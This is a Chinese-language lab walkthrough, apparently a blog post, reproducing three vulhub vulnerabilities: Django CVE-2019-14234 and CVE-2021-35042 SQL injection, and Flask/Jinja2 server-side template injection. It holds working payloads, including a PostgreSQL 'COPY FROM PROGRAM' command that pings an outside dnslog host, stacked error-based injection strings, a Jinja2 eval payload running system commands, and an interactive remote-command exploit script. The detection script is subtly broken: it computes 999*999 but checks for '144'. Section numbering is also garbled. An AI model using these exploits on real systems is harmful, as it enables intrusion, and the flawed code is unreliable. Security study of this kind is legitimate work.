本文章讲述三个漏洞,分别是CVE-2019-14234(sql注入漏洞 Django)、CVE-2021-35042注入漏洞(Django)、Flash jinja2 ssti 模板注入。靶场均来自vulhub(可以搭建在本地,环境很棒)。漏洞主要体现在漏洞复现上,以及造成该漏洞的原因。
目录
1、CVE-2019-14234(sql注入漏洞)Django
2.进入http://xxxx:8000/admin/vuln/collection/页面,可以查看到有注入的地方。
1.探测漏洞是否存在,输入 ?name={{9*9}},返回如下信息则证明漏洞存在。
1、CVE-2019-14234(sql注入漏洞)Django
简介:
该漏洞需要开发者使用了JSONField/HStoreField,且用户可控queryset查询时的键名,在键名的位置注入SQL语句,可以利用CVE-2019-14234(SQL注入漏洞)向服务器发送包含CVE-2019-9193(命令执行漏洞)系统命令的SQL语句,从而利用SQL语句,执行任意系统命令。
1.1.登陆
1.2.进入http://xxxx:8000/admin/vuln/collection/页面,可以查看到有注入的地方。
1.3.提交参数
在GET参数中构造detail_a'b=123提交,detial是模型Collection中的JSONFiled,并可以看到报错,单引号注入成功(在Django中,JSONFiled是一种特殊的数据库字段类型,存储JSON格式的数据,可以与PostgreSQL数据库一起使用,模型Collection中,detail字段是JSONFile类型的字段,用于存储Collection对象的详细信息,将这些信息存放在JSONFile中的detail字段中字段。方便进行序列化和反序列化的操作)
1.4.外带
这里尝试以下是否可以进行外带,输入以下命令,可以看到外带成功。
?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcopy%20cmd_exec%20FROM%20PROGRAM%20%27ping gfzb0h.dnslog.cn%27--%20
2、CVE-2021-35042注入漏洞(Django)
简介:
该漏洞是由于QuerySet.order_by()查询时 ,对用户传入的参数过滤不严格,可以使攻击者在不需要授权的情况下,构造恶意的参数执行SQL注入攻击。
2.1.poc构造剖析
当输入的参数为id时,查询语句为:
SELECT "vuln_collection"."id", "vuln_collection"."name" FROM "vuln_collection" ORDER BY (id) ASC
当输入的参数为id.时,查询语句为:
SELECT "vuln_collection"."id", "vuln_collection"."name" FROM "vuln_collection" ORDER BY (id.) ASC。
当输入参数为 vuln_collection.id);select updatexml(1,concat(0x7e,(select @@version)),1);#时,查询语句被构造,实际上也是堆叠注入的一种。红色部分是构造前面一个查询语句。
SELECT "vuln_collection"."id", "vuln_collection"."name" FROM "vuln_collection" ORDER BY (vuln_collection.id);select updatexml(1,concat(0x7e,(select @@version)),1);# ASC
传入的参数到达add_ordering之后进入for循环,但是如果参数中含有.则会直接跳出循环,因为只有一个参数,而且也是单次循环所以最终不会进入names_to_path方法,而是执行self.order_by += ordering(ordering就是传入的参数),所以add_ordering的作用就是增加self.order_by参数。
2.2.报错注入
这里是进行报错注入,注入的详细步骤如下
1.爆数据库名
2.爆表名
3.爆列名
4.爆字段数据
2、Flash jinja2 ssti 模板注入
简介:
flask 是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用Werkzeug ,模板引擎则使用 Jinja2 .。
{{}} 来表示变量名,这种 {{}} 语法叫做变量代码块jinja2模板引擎中有{{}}变量代码块语法,该语法能将里面的参数当作代码执行,所以可以构造对应的payload达到代码执行的效果
3.1.探测漏洞是否存在,
输入 ?name={{9*9}},返回如下信息则证明漏洞存在。
这里有个批量探测是否存在ssti的脚本。
import requests
url="http://127.0.0.1:5000/index"
payload="?name={{999*999}}"
res=requests.get(url+payload)
if '144' in res.text:
print(url+' 存在ssti服务端模板注入')
else:
print(url+' 不存在ssti服务端模板注入')
3.2.使用以下poc,并进行URL编码
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
3.3.如下是exp的利用脚本
import requests
import re
url='http://127.0.0.1:5000/index?name='
while True:
cmd = input('cmd:')
if cmd=='exit':
break
payload = '''
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("''' + cmd + '''").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
'''
res = requests.get(url + payload)
result = re.findall('Hello (.*)', res.text, re.S)
print(result[0].strip())